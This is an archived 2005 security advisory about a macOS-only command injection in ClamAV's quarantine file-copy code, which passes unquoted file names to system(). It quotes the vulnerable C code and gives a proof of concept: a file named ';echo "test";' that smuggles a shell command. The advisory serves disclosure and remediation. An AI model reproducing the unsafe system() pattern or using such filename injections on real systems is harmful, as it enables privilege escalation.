exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

clamavMac.txt

clamavMac.txt
Posted Aug 14, 2005
Authored by Kevin Amorin, Timothy Morgan

A vulnerability was discovered in ClamAV during a code audit. This vulnerability could allow a local attacker on a MacOS system to elevate privileges to that of a user running a ClamAV process. This problem affects ClamAV versions 0.80rc4 through 0.84rc2, and is fixed in versions 0.84 and later.

tags | advisory, local
SHA-256 | 564b49d55e78da11d6825a8d653c8b71d3ec5587ec5359a008574997aa1a9cbb

clamavMac.txt

Change Mirror Download

--xXmbgvnjoT4axfJE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

The full, up-to-date advisory will be maintained here:
http://www.sentinelchicken.com/advisories/clamav/

For your convenience, a text version is included below.

tim



--



CLAMAV: LOCAL PRIVILEGE ESCALATION VULNERABILITY ON MACOS
=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=
-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D


TABLE OF CONTENTS
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

I. Background

II. Overview

III. Details

IV. Mitigating Factors

V. Disclosure Timeline

VI. Credits

VII. References


I. BACKGROUND
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Taken from the Clam AntiVirus website[1]:
"Clam AntiVirus is a GPL anti-virus toolkit for UNIX. The main
purpose of this software is the integration with mail servers
(attachment scanning). The package provides a flexible and scalable
multi-threaded daemon, a command line scanner, and a tool for
automatic updating via Internet. The programs are based on a shared
library distributed with the Clam AntiVirus package, which you can
use with your own software. Most importantly, the virus database is
kept up to date."


II. OVERVIEW
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
A vulnerability was discovered in ClamAV during a code audit. This
vulnerability could allow a local attacker on a MacOS system to elevate
privileges to that of a user running a ClamAV process. This problem
affects ClamAV versions 0.80rc4 through 0.84rc2, and is fixed in
versions 0.84 and later.


III. DETAILS
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Under the Mac OS file system (HFS) files are saved as to parts data and
resource fork. In ClamAV version 0.80rc4, support was added to copy
both the data and the resource fork when moving a virus infected file.
The mechanism they used was the Mac local system utility ditto. While
there isn't a security issue with using the "ditto" command itself, the
system() call they use to execute it is insecure. From the function
filecopy(), in the file shared/misc.c:=20

=2E..
#ifdef C_DARWIN
/* On Mac OS X use ditto and copy resource fork, too. */
char *ditto =3D (char *) mcalloc(strlen(src) + strlen(dest) + 30,\
sizeof(char));
sprintf(ditto, "/usr/bin/ditto --rsrc %s %s", src, dest);

if(system(ditto)) {
free(ditto);
return -1;
}
=2E..

This code does not check the filename for shell special characters, or
quote existing ones. If a file name contains an embedded shell command
the system() will execute it as the ClamAV current UID. An example
attack is as follows:=20

Download a test virus
http://www.eicar.org/download/eicar.com

And rename it like so:
$ mv eicar.com \;echo\ \"test\"\;


If the clam user does not have permissions to remove the file it will
try and copy the file and the resource fork via the ditto system call.
The command it will execute in this case is:

system("/usr/bin/ditto -rsrc ;echo "test"; /tmp/;echo "test" ");

The shell will interpret the ';echo "test"; 's a separate command and
execute it. The following is some sample output:


$ sudo -u nobody clamscan . --debug --move=3D/tmp
=2E..
LibClamAV debug: Eicar-Test-Signature found in descriptor 6.
=2E/;echo "test";: Eicar-Test-Signature FOUND
usage: ditto [ <options> ] src [ ... src ] dst
<options> are any of:
-v print a line of status for each src copied
-V print a line of status for every file copied
-X do not descend into directories with a different
device ID=20
-c create a CPIO archive at dst
-x unpack the CPIO archives at src...
-z CPIO archives are compressed
-k archives are PKZip format
--keepParent parent directory of src is embedded in dst

--arch archVal fat files will be thinned to specified archVal
multiple -arch options can be specified
archVal should be one of "ppc", "i386", etc
--bom bomFile only files present in the specified bom are copied
--rsrc copy preserving resource data
--sequesterRsrc copy resources via polite directory (PKZip only)
test
=2E..

The usage statement above is produced because in this case, ditto's call
doesn't have the correct command line options. Afterward, "test" is
printed, as expected.


IV. MITIGATING FACTORS
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The conditions under which this can be exploited are very limited. A
ClamAV process must be configured to move files to a quarantine in order
for the ditto call to be used. In addition, this call only appears to
be used if a file move operation fails, at which point the file is then
copied. Once again, due to the #define used in the affected function,
only Mac OS installations are affected.


V. DISCLOSURE TIMELINE
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
2005-03-31 Initial Discovery
2005-04-03 ClamAV Team Notified
2005-04-29 Version 0.84 Released
2005-05-27 Public Disclosure


VI. CREDITS
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Discovered by:
Kevin Amorin
Timothy Morgan


VII. REFERENCES
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

1. ClamAV Team. "ClamAV: Abstract". Accessed: 2005-05-26
http://www.clamav.net/abstract.html

2. ClamAV Team. "clamav-0.83.tar.gz".=20
Released: 2005-02-13. Hosted by SourceForge.net.
http://prdownloads.sourceforge.net/clamav/clamav-0.83.tar.gz?download

--xXmbgvnjoT4axfJE
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFCl9HhW7H/79uOpekRAjwHAJ0a8FCcQ1e7PWjjbnIXRvBX6JlOegCdH08q
q1XTzv+FVUm6IpC2UOIkZB0=
=eesv
-----END PGP SIGNATURE-----

--xXmbgvnjoT4axfJE--
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close